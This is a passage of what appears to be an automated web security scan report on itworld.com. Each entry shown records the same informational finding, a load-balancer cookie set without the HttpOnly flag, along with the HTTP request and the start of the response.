Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:36 GMT
ETag: "45f7d7-639-497f498aafe00"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 1593
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:27:01 GMT
X-Varnish: 1038163214 1038158769
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 27
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

/*
* ShareBar - Creates a dynamic, vertical sharing bar to the left of a post and hides it if browser window is too small
*/
jQuery.fn.sharebar = function(options) {
var defaults = {horizontal: t
...[SNIP]...

7.76. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

7.77. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/itw/modules/lyris/js/jquery.delegate.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Thu, 30 Dec 2010 20:36:16 GMT
ETag: "45f82f-6b4-498a6a325d000"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 1716
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:11 GMT
X-Varnish: 1959719182 1959715749
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 20
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

/*
* jQuery delegate plug-in v1.0
*
* Copyright (c) 2007 J..rn Zaefferer
*
* $Id: jquery.delegate.js 4786 2008-02-19 20:02:34Z joern.zaefferer $
*
* Dual licensed under the MIT and GPL licenses
...[SNIP]...

7.78. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/lyris.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/lyris.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/modules/itw/modules/lyris/js/lyris.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Tue, 01 Mar 2011 22:26:12 GMT
ETag: "45ec80-269-49d73489ea900"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 617
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:15 GMT
X-Varnish: 1959719391 1959719306
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 1
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

$(document).ready(function() {
if ($(".lyris_tooltip a").length > 0) {
$(".lyris_tooltip a").tooltip({
bodyHandler: function() {
return $ ($(this).attr("description"));

...[SNIP]...

7.79. http://www.itworld.com/sites/all/themes/itworld/images/ab-actions.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/ab-actions.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/ab-actions.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_10cd9db87fdd7c34896a27df8d81e201.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "37ff98-651-497f49830ec00"
Content-Type: image/gif
Content-Length: 1617
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:22:37 GMT
X-Varnish: 252446451 252446256
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 2
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a.......................................................................................................!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="ado
...[SNIP]...

7.80. http://www.itworld.com/sites/all/themes/itworld/images/ab-arrow.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/ab-arrow.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/ab-arrow.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_10cd9db87fdd7c34896a27df8d81e201.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:27 GMT
ETag: "37ff99-549-497f49821a9c0"
Content-Type: image/gif
Content-Length: 1353
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:22:37 GMT
X-Varnish: 252446450 252446241
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 2
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a..:....................................................!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61
...[SNIP]...

7.81. http://www.itworld.com/sites/all/themes/itworld/images/ab-bg.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/ab-bg.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/ab-bg.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_10cd9db87fdd7c34896a27df8d81e201.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "37ff9a-4c9-497f49830ec00"
Content-Type: image/gif
Content-Length: 1225
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:22:36 GMT
X-Varnish: 252446439 252446236
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 1
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89aX............!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rd
...[SNIP]...

7.82. http://www.itworld.com/sites/all/themes/itworld/images/ad-choices-footer.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/ad-choices-footer.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/ad-choices-footer.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 11 May 2011 21:15:12 GMT
ETag: "380e64-1b6-4a306916fd800"
Content-Type: image/gif
Content-Length: 438
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:19 GMT
X-Varnish: 1959719600 1959719280
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 1
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a.......)jv....|.C@A...;MQ...>IL1]f .....?GI+gr.../aj'my............z......9QV...............ACD(kx...$r.......4W^6U\...*hsBAB......,eo...?EG3YaC??/_i.bl......#s.!w..{.......... ..&o}:OT.}.....
...[SNIP]...

7.83. http://www.itworld.com/sites/all/themes/itworld/images/ajax-loader-sharebar.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/ajax-loader-sharebar.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/ajax-loader-sharebar.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "37ff9c-9f1-497f49830ec00"
Content-Type: image/gif
Content-Length: 2545
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:22:27 GMT
X-Varnish: 252446302
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a..........5i...........................................................................................!..Created with ajaxload.info.!.......!..NETSCAPE2.0.....,........... .$.AeZ.
.<......Q46.
...[SNIP]...

7.84. http://www.itworld.com/sites/all/themes/itworld/images/answers-bg.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/answers-bg.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/answers-bg.png HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "37ff9f-6e6-497f49830ec00"
Content-Type: image/png
Content-Length: 1766
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:17 GMT
X-Varnish: 1959719436
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.PNG
.
...IHDR...]..........3......tEXtSoftware.Adobe ImageReadyq.e<...fiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="A
...[SNIP]...

7.85. http://www.itworld.com/sites/all/themes/itworld/images/answers-logo.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/answers-logo.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/answers-logo.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "37ffa1-882-497f49830ec00"
Content-Type: image/gif
Content-Length: 2178
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:17 GMT
X-Varnish: 1959719434
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a..................f..3..............f..3..............f..3....f..f..f..ff.f3.f..3..3..3..3f.33.3............f..3..............f..3..............f..3..............f..3....f..f..f..ff.f3.f..3..3..
...[SNIP]...

7.86. http://www.itworld.com/sites/all/themes/itworld/images/arrow-dn-red.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/arrow-dn-red.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/arrow-dn-red.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "37ffa7-4d2-497f49830ec00"
Content-Type: image/gif
Content-Length: 1234
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:16 GMT
X-Varnish: 1959719394
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a.............EE.BB.WW.................................!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61
...[SNIP]...

7.87. http://www.itworld.com/sites/all/themes/itworld/images/ask-a-q-tab.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/ask-a-q-tab.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/ask-a-q-tab.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_10cd9db87fdd7c34896a27df8d81e201.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:27 GMT
ETag: "37ffb1-16e1-497f49821a9c0"
Content-Type: image/gif
Content-Length: 5857
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:22:42 GMT
X-Varnish: 252446514 252446246
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 2
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a(.........y....."i..........z...........%g.....Q{..........Q}......:s..........l........Y...R|.R~......J~.............:s.Z..H~....M|.K}.j..J}.7s....
\........P~................].............G..
...[SNIP]...

7.88. http://www.itworld.com/sites/all/themes/itworld/images/bullet.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/bullet.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/bullet.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 23 Mar 2011 21:06:18 GMT
ETag: "694bb4-2d-49f2cbb624680"
Content-Type: image/gif
Content-Length: 45
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:18 GMT
X-Varnish: 1959719548
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a........x....!.......,..............X.;

7.89. http://www.itworld.com/sites/all/themes/itworld/images/button-bg1.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/button-bg1.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/button-bg1.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
